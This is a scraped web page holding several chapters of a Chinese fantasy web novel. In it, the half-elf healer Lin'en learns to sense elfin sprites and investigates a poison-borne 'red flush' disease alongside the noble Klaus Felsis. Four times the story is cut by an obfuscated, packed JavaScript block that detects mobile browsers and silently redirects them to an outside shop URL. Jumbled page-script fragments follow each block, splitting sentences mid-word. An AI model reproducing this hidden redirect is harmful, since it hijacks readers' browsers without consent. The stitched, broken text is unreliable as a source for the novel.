;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156060|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下身,下意识嗅了一下,闻到了一丝淡淡的甜香,“是全部都在这里了吗?”
“是,也不是。毕竟我可不知道你还有没有中过别的什么毒,”效果符合塔兰心中预期,她难得开了一个玩笑,继而又摇摇头,认真道,“我们可以根据这点液体来了解红晕症是什么,但是刚刚的治疗还没有结束,你还得再喝几次药剂才能将毒素排干净。”
就这样,粼恩一边排出“毒素”,一边在塔兰的指导下掌握精灵的知识。不知道是不是随着了解加深的缘故,这段时间她常常梦到那些奇怪的小生物,而她也渐渐听懂了它们在嘀咕些什么。
【这个笨蛋到底是谁呀?她怎么好像一直听不懂我们的话?】
【不知道,她好像和那个男性人类同一天来的,身上也沾了人类的味道。】
【你是不是笨!什么沾了人类的味道,她是精灵与人类的混血呀!】
【呀!】
小生物们面面相觑,齐齐向后退了一大步。
粼恩在梦中被它们嘀咕了许久,忍不住龇牙咧嘴,生涩但气势很足地用精灵语大喊道:“精灵与人类的混血儿怎么了!”
这一喊,把小生物们喊得“啵”一声全部消失,也把她自己给喊醒了。
粼恩腿一蹬想要坐起来,却因为用劲太猛把自己蹬下了床。她四仰八叉地倒在地面上,愣愣地想,那到底是什么?
最开始她以为这不过是一场没头没脑的梦境,但到现在她不仅能梦到,还听得懂对话是怎么回事?难不成是什么稀奇古怪的系列梦?
可是,梦真的会这样吗?粼恩又想起第一次治疗的时候,她听从塔兰的指令闭眼深呼吸,眼前,不,应该是脑海里也出现了这些小生物。
难道这不是梦?
粼恩躺在地上晃了晃头,觉得还是很有必要和塔兰讲一讲,避免毒素排完了,精神却变得不太正常了。
她慢吞吞地爬起来,洗漱一番离开树洞。现在,她已经能和其它精灵一样自如地顺着藤蔓走到地面。
期间她也遇到过一些年轻的山地精灵,只不过之前是因为语言不通,没有办法与他们交流一二。
现在要不要和他们打个招呼聊一聊呢?
粼恩犹豫了一下,看着他们结伴而行的身影还是放弃了。
简单用过早饭,粼恩照常往弧形宫殿走去。门口的卫兵已经熟悉她的身影,也知道她是塔兰的客人,并没有阻拦。
穿过高大的弧形拱门,经过宫殿一层宽敞明亮的大厅,粼恩走向通往地下的入口,正准备涉过浅浅的水潭,却被一个身影拦住了。
“粼恩医师。”
颇为熟悉的开场白,颇为相似的场景,粼恩停下脚步,抬头看向站在身前的男人。
克劳斯·费尔西斯,这一次粼恩记住了他的名字,也从塔兰那里知道他的意图——他想要能够治愈“红晕症”的药剂。
现在,他叫住了自己,又有什么事情呢?
“粼恩医师,”高大的费尔西斯先生向前一步,目光也随之落到了她的面上,他像是注意到了什么似的,语气一顿,问道,“您的脸,怎么了?”
41. 第 9 章
脸?
我的脸怎么了吗?
粼恩犹疑地抬起手,在触碰到脸颊处的浅缝与耳廓时,手硬生生地顿住了。
脸!
我的脸!
在精灵地界待久了,她意识到自己又忘记要遮掩身份的事了。
啊!真讨厌,为什么这个人类会在这里!
她惊慌地在心里大喊大叫,脸上却不敢表露太多,只好做出一副略带疑惑的样子,手指则不经意地拨弄几下蓬松的头发,盖住容易让人察觉到异样的地方。
幸好她的耳朵不像真正的精灵那般长,也幸好这位有点讨厌的费尔西斯先生站得不算太近,与她保持了一段距离,不然这回真是躲都躲不了。
粼恩悄悄舒了一口气,若无其事道:“费尔西斯先生看错了吧?我的脸没有什么异常。”
一直盯着旁人的脸是一个相当粗鲁的行为,更何况当事人也否定了他的话。克劳斯与粼恩不熟,性别不同,自然不好揪着一位女士的脸再说道些什么。
既然如此那就言归正传,克劳斯看向粼恩因为没有什么表情而显得冷淡的脸,开门见山:“粼恩医师,在下见您这几日一直与塔兰大人待在一起,是否在讨论与‘红晕症’相关的事情?”
粼恩微微吃了一惊,她既觉得这位费尔西斯先生洞察力惊人,又因为他那不带有任何感情的、漠然的眼神感到些许怯意。
她不知道该如何遮掩,只怕无论说了什么借口对他而言都会是漏洞百出,他一眼就能看穿,干脆老老实实地答了一声“是”。
“那么,在下是否可以知道关于‘红晕症’的一些消息?”费尔西斯先生虽然是站在原地,他的话却步步紧逼,“毕竟我们曾在绿云庄园见过一面,我前往精灵领地也是为了解决病症。先前没能邀请您来治疗,现在也没能求得药剂,至少我可以知道一些消息吧?”
关于“红晕症”的消息?
粼恩抿唇,这两日她与塔兰通过那些毒液析出的晶体得到一些猜测,但这样的结果没有得到证实,自然也不可能告诉费尔西斯先生。但为了家人四处奔波求药的心理粼恩很是理解,她模拟两可地回答,避免他太过焦急:“我们正在研究能治疗红晕症的药物。”
“哦?所以之前您的治疗并不能治愈‘红晕症’是吗?”费尔西斯先生此话一出,粼恩瞠目结舌。
她原以为费尔西斯先生即使是一个情感不轻易外露的人,但他既然能为药剂奔波,那么听到她刚刚的话多少也会高兴些。怎料克劳斯并没有因此出现情绪波动,反倒是对之前的事情提出质疑。
他怎么这样?!
粼恩瞪圆了眼睛,恼怒使她对克劳斯莫名的怯意都褪去了。
她上前一步,声音大了不少:“我和粼恩研究的是改良版本的药剂。我相信您因费舍先生被治愈的消息前往绿云庄园,自然也打听过消息的真假——”
她深吸一口气,突然觉得好奇怪,顶着“半人”身份的时候常被人类误解,怎么现在还要遭受莫名的质疑?
粼恩不想解释了,她恶狠狠地瞪了这个讨厌的费尔西斯先生一眼,径直向前走。
“粼恩医师。”她是向前走了,那个讨厌的人却不放过她。
克劳斯上前两步,轻而易举地与她并肩。粼恩害怕她的耳朵从侧面看会被他发现,干脆抬手虚虚拢住脸颊与耳廓。
看着她因不想听自己说话而做出的动作,克劳斯不由得小小地讶异了一瞬,毕竟在此之前,没有哪一个认识他的人会在他面前做出这种幼稚且不礼貌的动作。
但这一次,他的言辞确实有些不当,而他也实在需要能够治愈“红晕症”的药剂,因此克劳斯往前一迈,就站在了粼恩的身前:“我为刚刚的冒犯道歉,您也无需——”他顿了一顿,跳过纠结粼恩动作的话题,想要回到红晕症上,粼恩却看也不看,绕过他快步跑开了。
.
跑到地下房间后,粼恩意外地发现塔兰还没有来,或许是有什么重要的事情要处理吧,她也是山地精灵的执政官呢。
她坐到一个巨大的叶片上,想到刚刚发生的事,突然大大地叹了一口气。
诚心而言,她对那位费尔西斯先生并没有多少不满。先前她仅是隐隐约约地意识到他的身份不凡,到了后来粼恩才从塔兰那儿知道他是北境境主的亲侄子。
真是好高的地位。毕竟她连管辖着她所在的“半人”聚居地的镇长都没有见过,更不用提境主了。但是,北境境主和她的亲侄子又和她有什么关系呢?反正他们也不会有交集,即使他的姿态高傲,粼恩也不会与他计较的。
然而,然而他凭什么质疑她的治疗效果?虽然她的话,听起来确实漏洞不少,但是能够“治愈”红晕症,算得上她自己为数不多值得骄傲的事情了,而且在塔兰这里学习了几天,她不是也夸自己很有天赋么?
粼恩撇了撇嘴,郁闷的同时还在心里暗暗决定,再也不要和这个费尔西斯先生有什么交集了!
她难得露出一个恶狠狠的表情,揉了揉脸,干劲十足地站了起来——既然有人怀疑她的水平,那她更要好好学习才对!到时候自然没人敢质疑她。
虽然塔兰不在,但粼恩已经对各项流程十分熟悉,她按照塔兰带她做过的步骤,独自开始。
一切都十分顺利,身体内的毒素也都清理的差不多了,只有手臂上的红斑未完全消退,彰显着她曾经感染过红晕症的事实。淡化红晕症带来的红斑的办法塔兰暂时还没有想出来,粼恩对此也不太在意,谁身上还没有留过疤呢?
更何况能彻底解决红晕症已经让她十分高兴了,所谓“斑痕会影响外貌”的言论,她并不放在眼里。她更看重一个人是否有一颗温暖的心,就像她最亲爱的妈妈玛琳娜一样。
想到玛琳娜,粼恩不由得想家了。
当初她将玛琳娜身上余下的毒素引到自己身上后,玛琳娜的身体就渐渐恢复过来,她和弟弟妹妹也不用日日夜夜发愁了。生活似乎和往常一样,他们本可以这样继续过下去,但是当粼恩看着聚居地里的邻居们都在被红晕症折磨,就连往常时时照拂他们的佩吉大婶都因为红晕症不治身亡后,无措和愤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170718|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怒就燃上了她的心头。
玛琳娜是一个正直热情,甚至有些执拗的人,她教育孩子们,受了别人的帮助,也要时时帮助别人。更何况“半人”社会地位不高,都是邻里互相帮扶,粼恩在这样的环境中长大,自然也养成了这样的性格。
看到聚居地里众人痛苦的模样,她一边帮大家治病一边觉得单是治好了他们的病症远远不够。为什么“半人”们受尽冷眼还会最先患上红晕症?怀着这样的想法,粼恩第一次出了远门。
外面的世界真广阔啊,这一路上粼恩应接不暇,时时惊叹。
从前,粼恩只去过聚居地附近的矿区,最远的地方也不过是管辖着他们半人聚居地的镇上了。而现在,她去过富商的庄园,从西境跨越到南境,甚至还来到了山地精灵的地界,短短一个多月,她去过的地方已经比玛琳娜去过的还要多了!
这一路上的忐忑与不安,并不比她的兴奋和惊叹少,粼恩不敢说太多话,以免暴露自己半人的身份。她带的包袱很少,只有几套耐穿的衣服和一点干粮,收到的酬金大多数也都通过信使驿站送了回去。
她过得很辛苦吗?也没有,毕竟她治好了病,当然会被好好招待,哪怕到了精灵地界,她也只是在最开始的时候被“恐吓”了几下,现在过得更是滋润。
但她过得越好,她反而越是想家,想念玛琳娜坚实温暖的怀抱还有妹妹奇娅和弟弟小图的笑脸。
粼恩叹了一口气,将手贴到一个花苞上,闭上了眼睛。这是塔兰布置给她的任务,以了解她对自己“能力”的掌控度。
这种“能力”,指的当然就是当初她将玛琳娜身上残余的毒素转移到自己身上。
【喂,你这么不专心!】
【就是就是,一个小屁孩,天天想这么多!】
【哼,没用没用。】
【哎呀我觉得她已经很不错啦,毕竟这么多年已经很少有年轻精灵能够感知到我们啦。】
以往的练习非常顺利,没有出过什么差错,可是这一回,那些梦中奇怪的小生物突然都出现在她的眼前,而且甚至还和粼恩搭话了!
居然不是梦吗?!粼恩吓了一跳,突然又想起她第一次在这里排出毒素的时候,她的周围似乎也出现了这些奇怪的小生物,啊,不是吧?难道她这么早就精神不正常了吗?
是癔症吗?还是红晕症的后遗症?
粼恩心中一顿慌张,更可怕的是,那些小生物似乎能听见她的心声,居然气急败坏地冲了过来——
【臭小鬼,你到底在想什么?!】
眼看为首的小生物即将要撞到她的头上时,粼恩急急忙忙地睁开了眼睛。
噗噗——
那些小生物就都消失了。
什么嘛,粼恩撸了两把蓬松的头发,原本显得很冷淡的脸也难得有了一些生动的表情。她松开手环顾四周,塔兰还是没有来,怎么办,要不先去问问塞缪尔大人?
她在原地转了几个圈,不敢单独练习免得又和那群小生物撞上,咬咬牙,决定还是往弧形宫殿的上方走去。
42. 第 10 章
在从地下回到弧形宫殿一层之前,粼恩先细细地打理了一下自己的头发,确保能够完全盖住自己的耳朵和脸颊上的缝隙后,她才回到一层的大厅。
现在临近中午,弧形宫殿笼罩在一种祥和安静的氛围之中,只有一些正在处理要事的精灵们走动时衣物的摩擦声。粼恩没有遇到那位费尔西斯先生,悄悄地松了一口气。
塞缪尔大人一般在哪里呢?
粼恩想了想,才发现自己来这里好几天了,什么都不太了解。她只记得最开始被巡逻的侍卫抓到这里的时候,塞缪尔在楼上的露台。
要不要去那里找一下?
粼恩心底有些打鼓,她以前的生活范围很小,社会经验不足,聚居地的“半人”们也总是互相串门,没那么讲究。因此粼恩不确定现在上去是否会打扰到塞缪尔,说不定还没有见到塞缪尔,就被其它的精灵拦住了。
她犹豫地徘徊了几圈,想到那些一闭眼就出现的小生物,咬咬牙,还是往楼上去了。
一路上她遇到过好几个精灵,本来还有些紧张他们会不会拦住她问她要来做什么,自己会的精灵语能不能回答他们的问题,结果他们看都没看她一眼,任由她走到了半圆形的露天平台上。
精灵领地里的天气总是明媚,此时,阳光正从空中落下暖洋洋地铺上了一层金黄色的地毯。塞缪尔背对着粼恩躺在软椅上,不知道是不是睡着了。
见此情景,粼恩放缓了脚步,却听到塞缪尔的声音从前方传来:“塔兰不在这里噢。”
随后他的脚尖点地,轻轻一转,整个人就带着椅子转到了粼恩面前。塞缪尔的眼神清明,显然只是躺在这里休息并没有睡着:“还是说,你有别的事情要说?”
粼恩恭敬地回答:“我确实是有一些问题想要问您。”
“关于病症的?这我可不懂,”塞缪尔坐直了一点儿,“塔兰今日有事外出了。问题很紧急吗,是否需要找其它的医者吗?”
粼恩愣了一瞬,自己也不清楚这种情况是不是生病了,但她思考片刻还是和塞缪尔全盘托出。
只是她说得越详细,塞缪尔原本平和的脸就越是惊愕。粼恩见了,误以为情况真的很糟糕,语速不由得越来越慢,声音也越来越低。
“真难得啊!”塞缪尔突然站了起来,他看着粼恩,围着她兴奋地转了两三圈,“真没有想到这样的天赋居然在一个混血精灵身上出现了。如果你是一个真正的精灵就好了,不会白白浪费多年的天赋——不,塔兰昨天还和我说起,只是没想到你的天赋比她想象的还要高!”
粼恩听不明白塞缪尔的话,但她总算能松一口气了。
“那些你看到的小生物,其实是精灵们的伴生物,名叫‘芬瑟儿’,在精灵语就是‘妖精’的意思。它们常在精灵的睡梦中或者沉思冥想之时出现,给精灵们传递一些意想不到的消息,类似于——”塞缪尔想了想,解释道,“类似于人类的‘灵光一闪’。塔兰应该和你讲过黑暗大清洗时代了,在此之前的精灵们不仅寿命长达几千年,甚至能常常与‘芬瑟儿’们交谈。
“然而大清洗时代过后,随着魔法在这片大陆的消退,不仅各个种族的寿命减少趋平,也很少有精灵能够见到它们了,比如塔兰可以,但我就不行了,更不用提那些新出生的小精灵们。”
“但你不同,”塞缪尔的眼里满是赞赏,“你说刚到精灵领地时才梦到它们,但不过短短几日,你竟然可以和它们对话了!粼恩,千万不要浪费这样的天赋,你能做的远比你想象得多。”
……
结束与塞缪尔的对话后,粼恩精神恍惚但步伐轻盈地走下楼弧形宫殿。
塞缪尔告诉她塔兰要明日才能回来,到时候她会帮助她,今天剩下的大半天时光她可以好好地休息一下。
因为兴奋,中午她吃得东西不多,心里有一只雀跃的小鸟在扑腾。
我有这么厉害吗?我有这么厉害诶!
粼恩心里美滋滋的,轻轻哼着歌离开了弧形宫殿。
难得的休息时间,天气又正好,粼恩走在路上,瞧见山涧喷涌,底下的水潭清澈,菖蒲与水生鸢尾随风摇晃,不由得心生喜爱。
一路快步走至水潭边,她这才发现在繁密的植株旁,那位费尔西斯先生正坐在那里,身边还站在一只黑漆漆的乌鸦,吓得粼恩下意识地摸了摸耳朵。
.
小芒送信的速度很快,前天送往北境的信件,今日就已经收到了回复,内容只有简洁几行字——病情逐渐严重,精灵的条件可以答应。克劳斯皱起眉毛,心底尽是凝重。
另外两封信,一封寄往中心城调查丰赐圣母教的解剂,一封则寄给费尔西斯家族中负责调查其它种族事宜的部下。投往中心城的信件和之前一样石沉大海,始终没有答复,另一封回信则带来一点好消息——塞缪尔要求的精灵古籍曾经在两年前中心城的拍卖会上出现过。
克劳斯将信件折好收到外套内侧的口袋中,将手搭在小芒被太阳烘烤得热乎乎的脊背上,微不可见地呼出一口气。
情况虽然糟糕,但还没有到不可挽回的地步。答应精灵的条件似乎是唯一的办法,只是中心城——消息传递困难,那本精灵古籍也在那里,两者看似没有关联,但克劳斯并不这么认为。
并非怀疑精灵与中心城有勾结,而是中心城是否有人在利用那本精灵古籍。
还在沉思,小芒突然啄了啄他的手指,克劳斯回神,只见那位粼恩医师正捂着自己的耳朵站在一旁,那张向来冷淡的脸竟意外地出现了一丝错愕和慌张。
她为什么要做这种动作?
难道是因为他?
克劳斯回忆了一下与这位粼恩医师几次的相处经历,尽管没到相看两厌的程度,但也都算不上愉快。
是他的问题吗?
克劳斯向来不会去想这种毫无必要的问题,家世与性格的原因让他从来不会被人际关系绊住脚。他的朋友不多,路易莎算得上一个,其他的多是阿谀奉承之人,他也懒得理会。
但是粼恩不同,她既不算他的友人,也不需要讨好他,相反他还需要她与塔兰研制的药物。无论如何,他都不应该让他们的关系太僵硬。
想到这儿,他站了起来,小芒在原地跳了几下,扑棱着翅膀停在克劳斯的肩膀上。
“粼恩医师。”他才开口,粼恩的表情就变得紧绷起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181899|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,剩下的话克劳斯也被迫吞回肚子里去了。
两人面面相觑,雕塑似的站了片刻,小芒突然“阔阔”地叫了两声,朝粼恩扑去!
“小芒!”
“啊——!”
渡鸦的体型可比乌鸦大上不少,小芒在渡鸦群中也算得上健硕,鸟喙又厚又长,翅膀一展就像疾风裹挟着黑云直直地朝粼恩面上扑来!
粼恩惊慌地挥舞了两下手,疼痛却没有如意料中那般袭来,只有头发被不轻不重地叼了两下。
她颤颤巍巍地睁开眼,小幅度地转过头来瞄了一下,一双尖利的鸟爪正站在她的肩膀上,却因为没有扣得很死显得有些站不稳的样子。再往上瞧,则是泛着蓝色金属光泽的羽毛,肚腹处的很柔顺,脖颈处则蓬松地炸开。
“小芒!”她还没有观察完,费尔西斯先生就怒气冲冲大步向前,抓过乌鸦的动作看起来强硬却意外轻柔。
他将那只大乌鸦揽在怀里防止它再做出些什么奇怪的举动,表情看起来有一些尴尬。
“很抱歉,粼恩医师,我很抱歉,”费尔西斯先生道歉的内容居然很朴素,语气也难得真诚,“这是小芒,它是为我传信的渡鸦,平日里并不会做出如此粗鲁的举动,今天——”
大概是觉得解释听起来像找借口,他干脆换了一句话:“我很抱歉,如果您有任何不适或者需要补偿的地方,可以——”
粼恩不等他说完便摇了摇头,这后半句话反而还没有前半句来的真诚呢,她想撇嘴,又将唇角压下。
不过,因为小芒突如其来的举动,两人之间的距离被迫拉近了不少,也没有刚开始无言以对时那么尴尬了。
克劳斯顺了两把小芒的羽毛,借着这难得的机会问了红晕症药剂的事。这回他不再向早晨那样质疑她,语气也诚恳。
粼恩在小事上坏心情来得快去得也快,再加上才知道自己其实很了不起,所以没有计较他早上的冒犯,将可以告诉费尔西斯先生的事都说与他听了。
克劳斯觉察出粼恩语气里的真诚,除了欣喜以外还有一些讶异。有专长的人往往恃才傲物,更何况红晕症如此棘手的病症,如果她的态度傲慢反倒会让人觉得正常。
克劳斯看着她碧绿色的眼睛,尽管潜意识告诫他不应该如此轻易地将消息告诉一个陌生人,他还是将信中的病症描述给粼恩。
……
下午的时光在交谈中溜走了大半。虽然性格不是那么契合,但两人对彼此的印象居然都因为红晕症好上了些许。
晚上闲逛结束,粼恩回到树洞中。
她躺在床上,回想了一天的经历,总体来说是愉快的,她满意地闭上了眼睛,期待着明天与塔兰的见面。
而在与粼恩相隔不远的另一个树洞,克劳斯双手抱臂,神情严肃地教训着今天突然乱扑人的小芒。
小芒则左右摇晃着脑袋,一副油盐不进的模样。
外面银色的月光透了进来,给渡鸦金属色的羽毛又镀了一层银,克劳斯瞪了它两眼,忽然发现它脊背上的羽毛间闪过几线别的颜色。
他按住小芒的身体,伸手一摸,那是几根发丝,像初升的阳光泛着灿烂的橘色。
43. 第 11 章
“粼恩,我从塞缪尔那里听到了你的好消息。”
次日清晨,弧形宫殿的地下房间,塔兰精神奕奕地朝粼恩打了个招呼。
见粼恩不好意思地挠了挠脸颊,塔兰向她伸出双手,既然得知粼恩能感知到“芬瑟儿”,自然要瞧瞧现在到了什么程度:“哎呀,还害羞了。来,把双手交给我。”
“握住我的手,闭上双眼。”粼恩闻言,乖乖地闭上了眼睛,遵照塔兰的指示放轻呼吸用心感受。
很快,黑暗中有星星点点的荧光从塔兰与她相握的掌心飞出,星光一样灿烂。
实际上这些光点并不是粼恩用肉眼“看”到的,而是她“感知”到的。光点存在于她们的意识中,所以如果有其他人在旁,他们也无法察觉到。
粼恩当初将玛琳娜身上残余的毒素转移到自己身上时,也是通过这样的方法。不过那时候,她还不能感知到这些光点的存在,只是用一种奇怪的感觉指引着她做出这样的举动罢了。
现在在塔兰的训练下,粼恩进步飞速。她不仅能感知到光点的存在,还能使这些光点听从她的指挥,在半空中编织出各种奇妙的图案。
而此时,她听从塔兰的指令,将这些光点收回,重新沉回她们的皮肤之下,让它们从手心向手臂游动再流转回来,这是为了让她更加精准地掌控自己的能力。
在学习有用的事情上,粼恩总是十分认真,更何况塔兰还在一旁监督。
粼恩静下心来,很快就觉得自己进入到一种浑然的状态之中。她不再需要刻意地集中精力操控光点,意识只轻轻一飘,光点就随她所想。渐渐的,粼恩操作得越来越流畅,光点越来越多,四周的环境也由暗转亮了。
光点萤萤,从掌心向周围四溢,轻声细语似在她耳边又似从极远的地方响起,幽幽的花香与泥土青草芬芳在空气中飘动,啵啵几声,“芬瑟儿”一只接一只从空中骤然出现,静谧的意识世界顿时热闹了起来。
粼恩微微一吃惊,心神不由得摇晃了一瞬。但也就仅此一瞬,那种奇妙的感觉马上就从身上脱离开来,粼恩心下一急,眼皮颤抖着就要睁开——
“专注。”塔兰的声音响起,她没有睁开眼睛也没有张嘴,声音却从粼恩的心底响起。
粼恩急忙调整状态,慢慢呼吸,很快那种奇妙的感觉又重新回到身上了。
【笨丫头!哼,真是一个笨丫头!】
【哎呀你不要这么凶嘛!老是凶人可不好哇。】
【呀,塔兰你也在呢!】
【这次外出有没有遇到什么有趣的事情?】
【蠢死了!整天想着玩玩玩,怎么不问问塔兰有没有受伤!】
心一沉静下来,粼恩又见到了这些活泼的小妖精们,在得知它们不是什么奇怪的生物、也不是自己出了精神问题后,她便兴致勃勃地观察着它们。
芬瑟儿们呼啦啦地围过来,七嘴八舌、叽叽喳喳地嚷个不停,不仅如此,它们都还很有自己的个性,有的甚至一言不合就打起来了。
粼恩看得目瞪口呆,塔兰倒是笑眯眯的,像看小朋友打闹一般看着它们,直到其中一个小妖精开始撕扯同伴身上的光辉时,她用精灵语严肃地阻止:“好了,不许随便湮灭同伴。”
塔兰向来温和,偶尔一次露出严肃的表情显得分外唬人,芬瑟儿们老老实实地松开了手,粼恩则有些吃惊。
湮灭同伴是什么意思?她看向那个被扯掉一点光辉的芬瑟儿,它看起来可怜兮兮的,气势也比其他小妖精蔫了不少。
塔兰松开一只手,指尖点点它们的脑袋,用维洛兰语向粼恩解释道:“别看‘芬瑟儿’个子小小的很可爱,实际上它们有着与精灵大为不同的观念。即使它们是精灵的伴生物,但它们并不受精灵管束,常常随心所欲,有的还会湮灭弱小的同类吞噬光辉。”
“这是‘芬瑟儿’之间的相处之道,它们不会对精灵作出什么伤害,可你一定要小心它们的话,”塔兰告诫粼恩,“塞缪尔已经和你说过它们的话类似人类的‘灵光一闪’,对吧?人类的‘灵光一闪’得到的不一定是正确的答案,‘芬瑟儿告诉你的也不一定是对的,你要小心分辨。”
粼恩愣愣地点了点头,没想到这些小妖精们居然还挺凶残的,这和想象中活泼可爱、善良无害的形象可差远了。
接下来,粼恩开始尝试用精灵语与芬瑟儿交流,虽然说得磕磕绊绊,还被一个脾气暴躁的芬瑟儿嫌弃,但也算有进步。
不仅如此,塔兰还加大难度,让她一边控制光点流转一边与芬瑟儿对话,这可让粼恩有点手足无措了。
起初,粼恩总是一开始就断掉“链接”,不过塔兰十分有耐心,引导了大半天,她竟然还真的做到了!
“才大半天就能做到这样的程度,粼恩你真的很有天赋呢!”到最后,连塔兰也忍不住感慨。
粼恩坐在一片叶片上气喘吁吁,她一边用袖子擦了擦额头上的薄汗,一边看向站在一旁的塔兰。塔兰双手叉腰神采飞扬,脸上全然没有疲惫的影子。仿佛从粼恩的目光中听见她想说的话,塔兰得意地眯了眯眼睛:“当然了,还是我比较厉害。”
两人不由得笑了起来,塔兰拍拍粼恩的肩膀:“好啦,给你看看我这次外出带回来的东西吧。”
粼恩闻言站了起来,只见塔兰从口袋里掏出一个小小的帕子。这帕子看起来实在不起眼,粼恩误以为是什么植物或者小玩意,谁曾想皮薄馅大,帕子一掀开,一个两根手指大小的银白色晶石露了出来,闪闪发光,将房间一下子照亮了。
粼恩忍不住眯了眯眼,后退两步才从这耀眼的光中恢复过来,她望向塔兰,塔兰保持着微笑,早已闭上了双眼。
好吧!还是她太年轻了。
粼恩伸手,将掀开的帕子盖了回去。
小小的戏耍了一下年轻的混血精灵,塔兰从容不追地睁开了眼,满意地笑了。
随后,她双手攥着布包反复扭转几下,晶体传出令人牙酸的嘎吱嘎吱声。接着,塔兰叫粼恩找来一个小玻璃瓶子,取下木塞,布包掀开一角对准瓶口,一把细碎的粉末顺着布面流淌下来,闪耀得像天上的星河。
“这是什么?哪个地方新开采出来的矿石吗?”粼恩一边惊叹塔兰的手劲一边好奇地发问。
“不是噢,”塔兰摇摇头,神情严肃了些许,“前夜又有‘旅者’突袭,伤害了一个巡逻的守卫。昨天我接到领主的指令,带队清理这一片游荡的‘旅者’,这就是其中一种‘旅者’的驱核,相当于我们的心脏。”
她拿起从粼恩手臂析出的毒素,倒了一点细碎的粉末进去,很快,散发着淡淡甜香的液体骤然变得浓郁,让人有些昏昏欲睡。
紧接着黏稠的液体开始咕嘟咕嘟地向上冒泡,香味消失,有什么东西凝结着粉末往下沉,撞击着瓶子嗞啦嗞啦地响。怎料下一瞬,瓶身嘎吱一声,直接不堪重负般炸裂开来!
塔兰首当其中,但她只是意外地“咦”了一声,任由粼恩帮她拍掉身上的玻璃渣,若有所思。
“有趣,有趣,”她没有露出沮丧的表情,反倒流露出一丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190356|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亢奋,“粼恩,你先回去吧,接下来的事情由我处理!”
.
短暂的白日时光后接着漫长的黑夜,在粼恩为今天发生的事情一会儿喜一会儿忧的时候,塞缪尔已经按照领主的指示与克劳斯签订了协约。
一本精灵古籍,换一瓶能够治愈“红晕症”的药剂。
为表现精灵的诚意,他们会在这两日先给克劳斯提供一瓶缓解药剂。
同时,他们也会向他透露那本精灵古籍是什么,以及在何时消失的信息。
两日后,弧形宫殿中。
“费尔西斯先生——”
克劳斯看向对他说话的塞缪尔,又看向他身旁站在的塔兰,诧异地挑了挑眉。
“别对你的合作伙伴摆出一副高傲的样子,”塞缪尔冷哼一声,全然不觉自己的态度也谈不上良好。
克劳斯没搭话,只是冷眼看他,塞缪尔觉得无趣,耸了耸肩道:“好吧,恭喜你,好运气的人类,这一次你不仅有药剂,你还能得到医师的帮助。”
医师的帮助?
克劳斯并不认为事情像塞缪尔说的那么幸运,他没有为此感到高兴,而是反问道:“代价是什么?”
“这很简单,北境境主的侄子,”塔兰开口了,“保护粼恩,帮助粼恩,而她会随你到北境治好那位病人。”
这是什么意思?
“——你是说‘红晕症’既有人为因素也有自然因素?”粼恩紧蹙着眉头,“我听不明白。”
“事实上,这也是我的一个推断。”塔兰严肃地向粼恩展示她的研究成果,“我研究了一日一夜,解析了‘红晕症’毒素。你看,毒素凝结而成的晶体——一本记录了精灵种族相关的古籍中提到,这种红色晶状毒素常见于深水区域,且常与蓝叶藻同在一片水域。但它的毒素需要特殊的陆地植物诱发,因此直接触碰这种毒素并不影响健康。所以即使你发现蓝叶藻的水域中有这种毒素存在的可能性,但你当时不会感染。”
“这种毒素是自然存在的,那么什么是人为因素呢?”粼恩大胆猜测,“是有人提取这种毒素然后传染到,传染到我们这种‘半人’身上吗?”
“是,也不是。”塔兰回答得让粼恩摸不着头脑,“这种毒素人类几乎不可能提取出来,只有精灵的古籍上有记载过方法。而且,那么深的水域,我们山地精灵也不可能做得到,水泽精灵——”
塔兰看了粼恩一眼,犹豫了片刻,道:“根据费尔西斯所言,一本失窃的精灵古籍曾在两年前维洛兰中心城的拍卖会上出现过。即使人类中真的有能阅读精灵古籍的人,没有水泽精灵的帮助,他们也无法找到一片生有这种毒素的水域。”
然而,这种毒素引发的病症居然真的在人类世界蔓延开来。塔兰意识到,这和中心城一定有什么关联!
这很危险,但是——
